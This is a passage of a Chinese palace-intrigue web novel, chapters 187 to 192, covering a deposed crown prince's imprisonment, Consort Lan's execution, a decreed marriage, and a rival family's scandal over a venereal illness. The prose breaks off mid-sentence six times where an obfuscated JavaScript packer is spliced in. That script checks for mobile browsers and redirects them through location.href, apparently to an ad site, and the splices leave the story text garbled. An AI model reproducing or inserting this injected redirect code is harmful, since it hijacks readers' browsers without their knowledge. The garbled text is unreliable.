回宫的当夜,尉迟晟便颁下圣旨,废黜尉迟睿太子之位,贬为庶民,打入死牢。 原本尉迟晟是想把澜贵妃囚到死的,哪曾想翌日早朝时,有几位官员竟替尉迟睿说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173308|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,说一切行为都是澜贵妃所为,说尉迟睿是无辜的,还要尉迟晟恢复尉迟睿的皇子身份。 尉迟晟本就在气头上,看到他们对尉迟睿的拥趸,怒火更甚,当众宣布赏澜贵妃一丈白绫,同时指着那几位官员怒骂,“你们说尉迟睿是无辜的,可这二十多年来,他占着太子之位不说,对承王更是没尽半点手足之义,心安理得地享受慕容澜对她的偏爱,你们敢拿项上人头保证,他不知内情吗?换做你们,你们会心安理得地接受别人母亲的疼爱?” 官员们被问得哑口无言。 尉迟晟紧接着挨个点名,“你们对尉迟睿如此忠诚,那尉迟睿的野心也就是你们的野心,你们要力排众议拥趸尉迟睿继续觊觎不该属于他的位置,对吗?” 不等官员们变脸,他便厉声喝道,“殿前侍卫何在?将这些拥护尉迟睿的乱臣贼子给朕全部拿下!” 官员们全都吓瘫了。 而站在首位的丞相祝志顺则是低着头,仿佛什么也没听到、什么也没看到。 尉迟睿是澜贵妃之子的身份曝光,那就意味着尉迟睿彻底没用了。 他这个丞相也做到头了。 眼下,他也不会傻兮兮去救尉迟睿。 他现在只想保住自己以及祝家…… …… 东宫。 看着来宣旨的齐绥,祝华凝不服气地质问道,“是澜贵妃母子犯下的大罪,与我有何关系?又不是我指使他们那般做的!” 齐绥道,“皇上说了,夫妻一体。之前承王入狱时,承王妃生死相随,那废太子入狱,废太子妃也不能独善其身。皇上还说了,废太子占取了不该属于他的位置,你身为太子妃,也享受了不该属于你的荣华富贵,所以你应该去牢中陪伴废太子悔过。” 第187章 送澜贵妃上路 祝华凝差点翻着白眼晕死过去。 她早就看出尉迟睿是个废物,一个太子文不成武不就的,做事全靠她父亲带着一帮门生给他托底…… 没想到一夜之间说废就被废! 更没想到他成废太子不说,连把她连累得如此彻底! 指腹压着太阳穴的她突然灵机一动,快速给身侧的青翠使了个眼色,然后她身子一软,朝青翠倒去—— “太子妃!太子妃您怎么了?”青翠得到她的暗示,一边抱住她一边冲齐绥大喊,“快叫御医!太子妃旧疾犯了!” 齐绥是什么人,哪会看不出她们的把戏? 只是他懒得拆穿而已,只对身后的侍卫下令,“把废太子妃送**牢陪废太子,再叫御医**牢为废太子妃看诊,不得有误!” 要作戏,去牢里慢慢作吧! 就皇上现在的气性,多看这些人一眼都会多起一丝杀心,他不禀明皇上,算是仁慈救这废太子妃一命了! 倒在青翠怀里的祝华凝是真的有了想死的心,可碍于自己‘犯病’,她现在也不能做任何事,只能咬着牙吞着血被侍卫带走—— 随着尉迟睿和祝华凝被关进死牢,东宫所有人也被尉迟晟下令全部带走,关在一个偏僻的殿宇中,大批侍卫轮流着严加看守。 尉迟晟憎恨澜贵妃是一回事,但他也不是理智全失,毕竟东宫里还有几个尉迟睿的女人,这些女人全都是朝臣家的。他现在还没有正式肃清朝堂,一时间内也不能把人全都打入死牢。 而这些女人中,还有一个特殊的骆丽娴。 尽管尉迟晟现在不再信任尉迟睿,可他已经接到了北蔺国出使的文书,再没确认骆丽娴的身份是否真的是北蔺国五公主前,他也不好把骆丽娴怎样。 尉迟睿的‘倒塌’,也是真的让朝堂起了震荡。特别是金銮殿上尉迟晟当众削了几位重臣的官职,那些拥趸尉迟睿却还未能替尉迟睿求情的官员,私下惶恐不安的同时还偷偷摸摸地聚在一起议事。 好在尉迟晟也有所提防,立马让夜庚新统领的西北大军和尉迟凌麾下的数千将士驻守在各个城门口。 意在震慑那些蠢蠢欲动的官员,只要他们敢轻举妄动,那就不仅仅是丢官去职这么简单的处罚了。 …… 尉迟晟赏给澜贵妃的一丈白绫,是尉迟凌亲自送**牢的。 如今再看到他,澜贵妃别说装了,都恨不得咬死他、再吃他肉、喝他血! “你这个贱种,早知道我当初就不该留下你,就该把你活活掐死,让你下去陪那个**!” ‘啪’! 一记巴掌出其不意地甩向她的脸。 出手的不是尉迟凌。 而是夜时舒! “谁是**?我看你才是吧!这天下有谁比得过你贱!”夜时舒捏着拳头,她早都想打这慕容澜了! 回想那一次,她被叫去澜霞宫,被这**和尉迟睿联手险些丧了名声。那时的她怎么都想不明白,为何这**要帮着尉迟睿挖自己亲儿子的墙角。后来知道是什么原因,她真是恶心到了极点! 好一对卑鄙无耻的狗母子! “你、你敢打我?!”澜贵妃捂着脸,**的眼神不可置信地瞪着夜时舒。 “你都要**,我还用得着跟你客气?”夜时舒学着自家二哥吊儿郎当的模样,双臂环抱,叉开腿抖着,毫不掩饰自己的得意,“像你这么不要脸又卑鄙无耻的人,我就是来落井下石的,怎么样,有种你咬我啊,看我能不能把你打成缺牙婆!” 上一世她活得太憋屈了,这一世她从头到尾都没再忍过什么,唯独澜霞宫那件事,因为念及慕容澜婆母的身份,她只能憋着。 现在,有机会报仇,而且是最后报仇的机会,她岂能放过? “你这个**……” ‘啪’! 不等澜贵妃再骂,夜时舒再一次甩了她一巴掌,并哼哼冷笑,“慕容澜,你还不知道吧,最先怀疑你不是承王生母的人是我!” “你……你……”澜贵妃又惊又怒又难堪。 尉迟凌突然握住夜时舒的手,举到唇边吹了吹,低声道,“就算不嫌脏,也打疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173309|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吧?跟一个将死之人较什么劲儿?” 夜时舒朝澜贵妃瞥了一眼,嘟着嘴道,“在她死前打几巴掌解气,不然等她**再动手,那多晦气啊!” “你们这对狗男女!我就算死也要变作厉鬼找你们索命!”澜贵妃狰狞地诅咒道。 “放心吧,你不会有机会的!”夜时舒讥讽地回她,“外面已经请好了术士,等你一断气就给你施法,让你鬼都做不成!” “你!”澜贵妃顾不上脸疼,捂着心口直颤抖。 尉迟凌给身后的侍卫使了个眼色,冷声道,“送慕容氏上路!” 看着侍卫拿着白绫朝她走来,澜贵妃慌了,不停后退,退到角落还不停地挤,仿佛要在墙上挤出一条缝逃生。 “我要见皇上!我要见皇上——” 侍卫猛地出手将她劈晕。 接着白绫往她脖子上一套—— 尉迟凌和夜时舒站得笔挺,冷冷地注视着,谁也没有一丝软气,只有一股强烈的解气! 除了澜霞宫那一次慕容澜帮着尉迟睿挖墙角外,后面他们大婚夜那些潜伏在王府里的**、以及太子伙同顾家想诬陷夜家通敌叛国、还有皇陵他们被华平带人追杀…… 这一桩桩一件件的事,哪一个不是要置他们于死地? 慕容澜和太子对付他们时完全没有留一丝活路,他们但凡有一点疏忽,都将死得很难看! 试问,这样的深仇大恨,他们如何能心软? 这样阴险狠毒的仇人,多活一刻钟他们都不答应! 侍卫松开白绫后,等候在牢门外的仵作立即进牢里查验,然后对尉迟凌和夜时舒说道,“禀承王、承王妃,已经没气了。” 尉迟凌冷声道,“扔去乱葬岗喂狗!” …… 尉迟睿和祝华凝都在死牢中关着,但尉迟凌和夜时舒没有去见他们,处决澜贵妃后,夫妻俩便直接去了乾宁宫。 知道他们去了死牢,有关地牢的事尉迟晟一句都没问,只与尉迟凌说道,“朕已经让工部和礼部重新修缮东宫,年底你们就搬进去。” 第188章 要脱裤子的 尉迟凌淡漠地回道,“朝中人心动荡,当务之急是稳定朝堂局势,其余的事再说吧。” 尉迟晟叹道,“好,都听你的。反正东宫就在那,你们何时想搬进去都行。不过从明日起,你也该上任为朕分忧了。” “是。”对于上任大学士一职,尉迟凌这次很爽快地应下了。 见状,尉迟晟脸上总算多了一丝笑意,许是心情好了,他主动问道,“这次你们都立了大功,想要什么,朕重重有赏!” 尉迟凌朝夜时舒看去。 夜时舒不好意思地笑了笑,“我没什么想要的。” 尉迟凌稍作思索,然后向尉迟晟说道,“游猎一事事关儿臣的身世,儿臣与舒儿做太多也是理所应当。但儿臣想替他人向父皇求个恩典,还请父皇恩准。” “你说。”尉迟晟抬了抬下巴。 “华芯身为华湘阁弟子,前有为妍妃保胎之功,后在皇陵又舍身救驾,此次游猎一事她也劳心费力,功不可没。夜家二公子乃儿臣舅兄,不辞辛劳追随儿臣左右护儿臣与舒儿周全。他二人同为儿臣和舒儿分忧,因男女有别多被人非议。儿臣别无他求,只想请父皇为他们赐婚,保他们名节。” 尉迟晟仔细回想着近来发生的事,也十分认可夜家老二和华芯的功劳。 只是…… 他微微蹙眉,说道,“朕没记错的话,夜二公子曾娶了顾氏长女顾思沫为妻,且那顾氏女刚死不久,现在为他赐婚,是否不妥?” 尉迟凌回道,“当初夜二公子娶顾氏女,全因丞相夫人保媒,意图让顾家女嫁进夜家做内应,一来打探西北大军的军情,二来趁机行嫁祸之事。父皇忘了吗?从顾家搜出的北蔺国物件,就是他们准备嫁祸致和将军府的证据,您还因此抄了顾家,将顾勇贬为了庶民。” 尉迟晟想起这事都还有些气愤。 尉迟凌接着道,“夜顾两家的婚事从一开始就充满算计和陷害,夜家没有为难顾思沫,那是他们仁德,但不代表他们就该为顾家女守孝守节。” 尉迟晟点着点头,转头朝齐绥吩咐,“拟旨,朕要为夜时竣和华芯赐婚。” 夜时舒在一旁压不住嘴角。 二哥二嫂接到圣旨,不知道会开心成什么样子! 他们这一对虽然早就成亲,可现在的关系着实尴尬。如今有了赐婚圣旨,二嫂能以新的身份做二哥明媒正娶的妻子,这才叫修成正果! 她随即朝尉迟晟跪下,“儿媳替兄长谢父皇恩典!” 尉迟晟不但赐了婚,对于游猎中参与揭穿澜贵妃的人都颁下了赏赐。 …… 正如夜时舒想的那般,得知皇上亲自赐婚,夜时竣激动得当场抱起顾思沫转圈圈。 “芯儿,我们终于不用再偷偷摸摸了,哈哈……” 看着儿子那失态的样子,夜庚新没好气地道,“大庭广众的搂搂抱抱,成何体统?” 夜时竣把一脸通红的顾思沫放下,搂着她大摇大摆地离开,“走,芯儿,我们回房庆贺!” “好了,爹,您明知道二哥的性子,就少说两句吧。二哥听不进去,当心二嫂听了多心。”夜时舒笑着劝道。 夜庚新抿了抿嘴,随即招呼女婿去厅里说话。 夜时舒正要跟进去,九姑突然拉着她到一旁说话。 “王妃,这几日你们忙,魏家那边传了消息来,奴婢还没来得及告诉您和王爷。” “什么消息?”夜时舒立马来了兴致。 最近一直在忙慕容澜和尉迟睿这对母子的事,她还真把魏家给抛到了脑后。 九姑附到她耳边说道,“玉娘派人送的消息,说魏广征染了脏病,葛氏听说后,把后面进府的四个美人发卖了。玉娘还说,葛氏现在正偷偷找名医给魏广征医治呢。” 夜时舒眨了眨眼,“染了脏病?厉害不?” 她想的是那些美人能霍乱魏家,让魏家鸡飞狗跳,然后激怒葛氏,让他们一家再无宁日。 没想到魏广征染上了脏病,这还真是出乎了她的意料。 九姑掩嘴笑道,“厉害不厉害没人知道,但据玉娘说,葛氏气得都快发狂了。” “她活该!”夜时舒满眼痛恨。 她母亲就是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178468|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 葛氏和温氏害死的! 如今温氏已死,待她找到机会,也一定会亲手了结葛氏的! 九姑握着她的紧攥的拳头,安慰她,“王妃,放心吧,她的报应已经来了。” 夜时舒还想再说什么,门房侍卫突然跑来,到厅堂里向夜庚新禀道,“将军,魏夫人在大门外,说有急事求见承王殿下。” 夜庚新下意识朝尉迟凌看去,说道,“贤婿,自我们与魏家解除婚约后,便断了往来。眼下葛氏突然来将军府,绝对不会是为了舒儿。” 他这话就是在向尉迟凌表明立场,让尉迟凌别误会。 尉迟凌勾唇一笑,“岳父大人,让她进来吧,说不定她是为了别的事求见本王。” 夜庚新随即吩咐门房侍卫,让其将葛氏放进来。 不多时,葛氏被领着进了厅堂。 夜时舒和九姑也早落座等着,都想看看她前来的目的。 葛氏这次来,身后跟着两名家奴,家奴手中捧着好几只重叠的礼盒。 除了九姑外,她分别给夜庚新、尉迟凌、夜时舒行了礼。 夜庚新并没有与她多寒暄,沉着脸直接问道,“不知魏夫人前来寒舍所谓何事?” 葛氏笑得比以往任何时候都贤良无害,“将军,是这样的,我家老爷身子抱恙,但别的大夫都瞧不出是何疾病。我听说华湘阁的华神医医术精湛,什么疑难杂症都能药到病除,且她现在在承王殿下身边做事,我便斗胆前来,想求承王殿下开个恩典,让华神医去给我家老爷医治。” 说完,她对着尉迟凌再次下跪,“求承王殿下赐我家老爷这份人情,您的大恩大德,我们定会竭力相报的!” 夜庚新微微皱眉。 他前几日见过魏广征,是觉得他气色憔悴,但什么病能让葛氏亲自来求医? 九姑起身,到他耳边低语了几句。 夜庚新一听,还不等尉迟凌回话便拍桌怒起,“华神医不会去你家的!你找别人医治吧!” 开什么玩笑! 让他儿媳去给别人治脏病,那不得脱了裤子让他儿媳看?! 第189章 作为晚辈,该去探望探望 他突如其来的强烈的反应险些吓了葛氏一跳,“将军,我在求王爷呢。” 言外之意,跟他有什么关系,他凭什么气急? 夜庚新黑沉着脸撵人,“求谁都没用,这事我说了算!我不让华神医去她就不能去!” 葛氏一听,也有些来气了,“将军,你这样未免太不近人情了!虽说我家淮儿与你女儿退了婚,但退婚而已,也犯不着你如此翻脸吧?何况我家老爷与你同朝为官,不说别的,就是看在同朝之谊的份上,你也不该见死不救。而且我求的是王爷,与你有何关系?” “哼!”夜庚新傲气地扬了扬下巴,“华神医是我家老二的媳妇,我是她公爹,今日皇上赐的婚事!她现在是我夜家的儿媳,你说与我有没有关系?” “什么?”葛氏脸色难看起来。就夜家那纨绔不羁的老二,竟让皇上给赐了婚?娶的还是华湘阁的神医? “不信?不信你问问承王!” 葛氏重新看向尉迟凌,红着眼眶哀求道,“王爷,求您行行好,就让华神医去看看我家老爷的病情吧!臣妇给您磕头了!” 说完她脑门果断地在地上撞了起来。 “魏夫人,起来吧。”尉迟凌面无表情地开口。 “王爷……”葛氏抬起头望着他,一脸的小心翼翼,因为她实在看不透这位承王。 “华湘阁的规矩是不轻易插手别人的事,除非是帝王家。如果魏夫人不介意,本王可向魏夫人引荐太医院的陆院使。他是太医院的院首,也是天子御医,医术自是毋庸置疑的。” “这……”葛氏眼中充满了抵触。 她来求华神医,目的就是替她家老爷掩盖秘密,不让同僚或者亲友知晓。毕竟那种病,一旦传出去,别说她家老爷丢人,整个魏家都会抬不起头的! “陆院使不但医术精湛,其仁心仁德更是受人敬仰,如果魏夫人连他都信不过,那本王便要怀疑魏夫人的动机了。有御医不用,却偏求江湖人士,不知道魏夫人安了怎样的心思?”尉迟凌俊脸微沉,语气也随之冷硬起来。 “王爷明鉴,臣妇绝对没有任何不轨之心!”葛氏听出他有所误会,赶忙应下,“那就有劳王爷帮忙引荐陆院使,臣妇一家感激不尽!” “本王稍后就派人给陆院使传话,你且先回去等着吧。” “是,臣妇告退。”葛氏起身,突然看到家奴手中捧着的礼盒,她迟疑了一下,朝尉迟凌微微一笑,“王爷,这些东西还请您笑纳。” “把这些带回去吧。”尉迟凌端起手边的茶盏,对于那些礼盒连正眼都没给一个。 “那臣妇先回去了。” 目送她带着家奴离开,确定他们走远后,憋了许久笑的夜时舒再也憋不住了,噗噗笑出了声。 夜庚新不解地问女儿,“有何好笑的?” 夜时舒笑道,“刚九姑才告诉我魏广征得脏病的事,葛氏就上门来求医了,这难道不好笑?” 夜庚新感慨地道,“听闻魏广征为青楼妓子赎身,还纳回家做了小妾。前不久听说他家中又添了好几个小妾,没想到他人到中年竟如此沉迷女色,非但不爱惜自己的羽翼,还得了那样的病。” 夜时舒没接话。 一来,这是她和二哥做的事。二来,葛氏和温氏害**她娘,魏家父子都是得利者,怎么对付他们一家都不为过。 但这事过去十多年,眼看着爹有了新的感情,她不想把旧事翻出来让爹去追悔和痛苦,影响现在的生活。 她会为娘亲报仇雪恨的! “咳!”尉迟凌清了清嗓子,放下茶盏起身道,“时候不早了,明日本王还要同大学士周大人作交接,今日就不打扰岳父大人了。” “嗯。”知道女婿要入朝后,夜庚新也为他高兴。 夜时舒冲他们摆了摆手,然后跟着尉迟凌离开了将军府。 等他们夫妻一离开,夜庚新便好奇地问九姑,“九姑,魏广征那事如此私密, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178469|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是如何知晓的?” 九姑不自然地愣住。 总不能如实交代,那魏广征的小妾们都是王妃和二公子安排的吧? 更不可能告诉他,玉娘派人送来的消息,因为王妃和二公子去了望秋山,所以消息到了她手上! “那个……”好在她应变能力也不差,很快解释道,“你们不在府中的时候,我嫌无聊便出去走走,路过魏府使撞见魏夫人正在发卖几个小妾。你也知道我是有武功在身的,我偷偷摸摸打听了一番就得知了内情。” “那你怎么不早说?”夜庚新拿眼神剜着她。 “那种事能随便说吗?你想说,我还嫌听了晦气呢!”九姑白了他一眼,转身离开了厅堂。 “……” …… 玉竹院。 夜时竣拿着赐婚圣旨,笑得合不拢嘴,“有个王爷妹夫就是好啊,连赐婚圣旨都能帮我求来!也不知道我上辈子走了什么狗屎运,这辈子靠着妹妹享这种福,哈哈!” “瞧你乐的,口水都快流出来了!”顾思沫忍着笑损他。 “能不乐吗?”夜时竣搂住她,低头在她脸颊上‘吧唧’一口,双眼都笑成缝了,“这赐婚还不是最重要的,最重要的是以后承王做了太子,将来的某一天,我们就是国舅和国舅夫人!只要把王爷妹夫大腿抱好了,将来必定加爵封侯,哈哈!” 顾思沫忍不住笑出声,但同时又抬手把他嘴巴捂上,“这种事别随便说出来,还没到那一天呢,别给王爷和小妹招祸!” 夜时竣拉下她的手,痞痞笑道,“放心吧,我懂!我都巴不得把他们供起来,哪可能给他们惹麻烦?” 夫妻俩正说着话呢,门外便传来小厮的声音。 夜时竣去开门,有些不耐地问道,“何事?” 小厮快速禀报。 听完后,夜时竣噗嗤笑开了,“这么惨啊?得!看在两家曾经有‘交情’的份上,作为晚辈,本公子应该去探望探望。” 第190章 哪壶不开提哪壶 小厮退下后,他回头对顾思沫说道,“你就别去了,我找大哥一块去。” 顾思沫笑着点头,“那你们早去早回。” …… 魏府。 说到魏广征的病,那还真是有些难以启齿。 一开始魏广征察觉到异样时并没有上心,每日依旧沉浸在美人窝中无法自拔。可渐渐的,他不仅憔悴浑身提不起劲儿,身体还出现了红肿溃烂,这让他不得不请大夫瞧病。 结果这一瞧,大夫告诉他,他得了罕见的脏病,不但无法根治,而且还要传染给亲近之人。 本就虚颓的他听到这消息,受不了打击,当场就晕**过去。 而葛氏听到消息后,那叫一个惊怒。召集了府中所有家奴,先把那四个美人打了一顿,因为嫌她们脏污才没将人打死,留她们一口气然后将她们发卖了。 她本来还想对玉娘下手的,毕竟这几个女人就是玉娘弄进府中的,但玉娘怀着身孕,身边的老婆子又壮硕又彪悍,差点把一个家奴的手给折了,硬是拼着命把玉娘护着。 葛氏担心事情闹大让丑闻传出去,不得不先放过玉娘。但她也没让玉娘好过,不但断了玉娘院里的所有开支,还让人紧紧盯着,不许玉娘出院门一步。 陆长青接到尉迟凌传话,第一时间赶到了魏府。 看过魏广征的情况后,他连连叹了好几口气,然后委婉地对葛氏说道,“夫人,魏大人暂无性命之忧,只是需要长久调养。老夫可开治疗的方子,只要魏大人从今起清心寡欲,病症便会有所好转。” 葛氏急声问道,“陆大人,能根治不?” 陆长青叹着气摇了摇头。 想到什么,葛氏又问道,“陆大人,听说华湘阁弟子的医术高深莫测,什么都能治,如果请华湘阁的弟子出手,我家老爷能痊愈吗?” 陆长青似是看出她的心思,反问道,“魏夫人说的是承王殿下身边的华芯华神医?” “是是,就是她!”葛氏点头,“陆大人,你说如果能请得了她,我家老爷的病能否根治?” “这老夫可不敢保证,毕竟华湘阁的人不是谁都能请的。”陆长青说完,问她,“魏夫人,还需要老夫给魏大人开药方吗?” “自然是需要的!”葛氏说着从袖中拿出一袋银子,塞到陆长青手中,“陆大人,这是一点心意,还请陆大人能替我家老爷保守秘密,毕竟这种病……唉!” “魏夫人,使不得,老夫是受承王殿下所托才来的,你若要谢便谢承王殿下吧。”陆长青将银袋子还给她,并安慰道,“你放心,魏大人的病情老夫会守口如瓶的。” “那就多谢陆大人了!”葛氏福身感激。 正在这时,丫鬟来报,“禀夫人,夜家大公子和二公子听说老爷病了,特来探望老爷。” 闻言,葛氏倏地冷了脸。 这兄弟二人以前就不怎么往她家跑,魏夜两家解除婚约后,他们更是没踏进过魏家半步,现在突然前来,摆明了是来看她魏家笑话的! 就在她正想让丫鬟把兄弟二人打发走时,突然想起夜庚新说的话。 皇上已经给夜家老二和华神医赐婚…… 她正苦于求不到华神医呢,这夜老二一来,岂不是最佳机会? “快请他们去厅堂休息,我稍后就到了!” …… 听说夜时珽和夜时竣来了,魏永淮也倍感稀奇,便赶过来见他们。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185461|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哟,没想到魏公子亲自出来招待我们哥俩,真是稀罕啊!”夜时竣嬉笑着打招呼。 “大公子、二公子难得光临寒舍,我自是不敢怠慢。”魏永淮谦卑地回道。 “对了,听说魏公子之前跟着废太子混,现在废太子被打入死牢,皇上正清算他的拥趸者,不知魏公子可有受牵连?以后打算跟着谁混啊?”夜时竣笑问道。 魏永淮面色不由地变僵。 真是哪壶不开提哪壶! 这夜家老二,就没见过谁比他嘴巴更臭的了! “时竣,这是魏公子的私事,不得无礼。”夜时珽剜了兄弟一眼。 “哎呀,大哥,没事,我跟魏公子也算是光着屁股一同长大的,现在他靠山没了,我关心他也是应该的。”夜时竣说完,还朝魏永淮挤了挤眼,“魏公子,你说是吧?” 魏永淮没应声,仿佛什么也没听到。 别人都到夜家这老二纨绔不羁,其实他知道,纨绔不羁只是夜时竣的表象。 他忘不了那个长梦,梦中的夜时竣满身肃杀之气,仿佛嗜血的罗刹…… 而他,死在了夜时竣的剑下! 之所以他不相信他是梦境,因为每每想到自己的下场,他心口处都会隐隐作痛。 那真的是穿心的痛! “淮儿,你怎么出来了?”葛氏进厅堂,见儿子脸色不好看,不用问都知道肯定被夜家兄弟欺负了,随赶紧给儿子使眼色,“你爹那里没人看着,我不放心,你赶紧过去看看。” “嗯。”魏永淮点了点头,拉着脸连招呼都没打便离开了。 待儿子一走,葛氏热情无比地说道,“时珽、时竣,没想到你们会来,瞧姨母忙得,什么都没准备!” 第191章 你这心肠未免太狠毒了吧? 夜时珽起身,给她行了个晚辈礼。 夜时竣虽然跟着起身了,但吊儿郎当的,没站相不说,那一脸痞笑,丝毫不掩饰今日前来的目的。 “魏夫人,我们听说魏大人生病了,而且病得很严重,不仅惊动了我们的王爷妹夫,我们王爷妹夫还以他的名义为魏大人请了太医院的陆院使。不知陆院使来了吗?魏大人的病情如何?究竟得了什么病啊?” 别说他这一串的问话,就他问话时斜眉挤眼的样子,葛氏都想抽他几个大耳光! 只是一想到华芯即将嫁给这浑蛋,她是咬碎了牙硬逼着自己把怒火压下! “时竣啊,之前姨母去将军府找华神医,你爹说你要同华神医成亲了,是真的吗?” “嗯啊,是真的,皇上亲自赐的婚,我们王爷妹夫帮忙求的!”夜时竣傲娇地扬起下巴。 “那真是恭喜你们啊!”葛氏笑容扩大,语气也更加亲和起来,“你们兄弟是姨母看着长大的,想当初你们母亲在世时,姨母还想着认你们兄弟作义子呢!虽然最终没成,但在我心中,早已把你们当亲生的了。如今时竣你有了喜事,姨母作为长辈,很是替你开心。只是姨母还没见过华神医,你何时带她来姨母跟前坐坐啊?你们母亲曾与我结义金兰,姨母同华神医多亲近亲近,也算是告慰你们泉下有知的母亲。” 夜时竣咧嘴说道,“魏夫人的好意我心领了。只是我家芯儿吧,胆小惧生,特别是上次去了丞相府后更是不敢随意登别人家的门,就怕再遭到暗算和陷害。” 葛氏嗔道,“我们魏家与夜家交情匪浅,与丞相府可不一样!” 夜时竣直接转移话题,“对了,魏夫人,你还没说魏大人病情呢,严重吗?” 葛氏眸子一转,突然露出一脸忧伤,“是有些严重,连陆院使都治不了根。时竣啊,听说华神医医术精湛,你能不能让她来给你魏叔瞧瞧?” “魏大人得了什么病我们都不了解,哪能说治就治的?魏夫人,你也太看得起我家芯儿了,呵呵!” 葛氏最不想的就是被他们这帮人知道内情,可是偏偏那个华神医跟这帮人是一伙的,她如果要脸,那魏广征这辈子就等于废了。 而她后半辈子不但要守活寡,还要面对魏广征那一身脏病,这不得比死了丈夫还煎熬? 权衡利弊后,她当然明白,现在不能再要脸面了! “时珽、时竣,不是姨母想瞒你们,实在是你们魏叔这病啊太难以启齿了。正好陆院使在你们魏叔房中为他治病,你们要是不怕的话,我就带你们去瞧瞧吧。” 夜时竣一听,对夜时珽挑了挑眉。 兄弟俩随即跟着葛氏去了魏广征的院中。 “夜大公子、夜二公子,你们来了?”陆长青见到他们,慈和地招呼他们。 兄弟二人,同时躬身行起晚辈礼,“见过陆院使。” 看着夜时竣那难得端正守礼的模样,葛氏脸色不由得发黑。 但兄弟二人压根没多看她一眼,哪会管她如何作想,旁若无人地向陆长青询问起魏广征的病情来。 当陆长青说出病症时,夜时竣一脸夸张,正经不到片刻就跑到床边,揭开魏广征身上的被褥,‘啧啧啧’道,“都说‘色’字头上一把刀,魏大人这情况,比挨了千刀万剐还惨啊!魏夫人更惨,下半辈子对着这样的魏大人,那不是摆明了要守活寡嘛!” 葛氏脸黑得比中毒还难看,就差当场吐他一脸恶血了! 可最终她的理智占了上风,硬逼着自己强颜欢笑地求他,“时竣,你魏叔的情况你也看到了,你也不想姨母下半辈子守活寡是吧?那你能不能请华神医前来给你魏叔医治?你放心,只要治好了,你们要什么,只要我魏家能给的,一定双手奉上!” 听着她后面的话,夜时竣讥笑地扬了扬唇。 不过这种虚伪的承诺他也不在乎,他来,真的单纯地来看热闹增长见识。 “唉!魏夫人,不是我不让我家芯儿来,主要是你们不懂华湘阁的规矩……再说了,我家芯儿并不擅长给人治病,她擅长的解毒。魏大人得的是实病,与毒无关,就算我家芯儿来了也是爱莫能助。” “她不能治,可她还有师兄师弟,华湘阁那么多弟子,总有能治的,不是吗?”葛氏急声说道。 夜时竣唇角斜勾,别有深意地看着她,“魏夫人对华湘阁了解得挺多的,甚至比我们还了解。既然魏夫人如此了解华湘阁,想必早已与华湘阁的人接触过,那为何不自己去华湘阁求请呢?” 葛氏心中一虚,随即干笑,“我一个内宅妇人,哪里能接触到华湘阁的人?我知道的这些,都是从别的大夫嘴里听来的。” 夜时竣耸了耸肩,“魏夫人,实在抱歉,帮不了你们。” 葛氏见他如此拒绝,脸色开始挂不住了,“我家老爷也算是你的长辈,你真的要见死不救吗?” 夜时竣抬手用大拇指指着自己,一脸无辜地道,“我又不会医术,我救什么?我就是好奇魏大人的病情过来看看而已,难道看一眼就必须得救人?” “可华芯马上就是你媳妇了……” “打住!”不等葛氏说完,夜时竣便义正严词打断她,“魏夫人,你也知道我娶的是媳妇。那我媳妇进门也只会伺候我,先不说我媳妇能不能治病,你见谁家媳妇去看别的男人身子的?我媳妇还没进门呢,你就想让她被浸猪笼,你这心肠未免太狠毒了吧?” “你……” 第192章 生了你这么个是非不分的东西 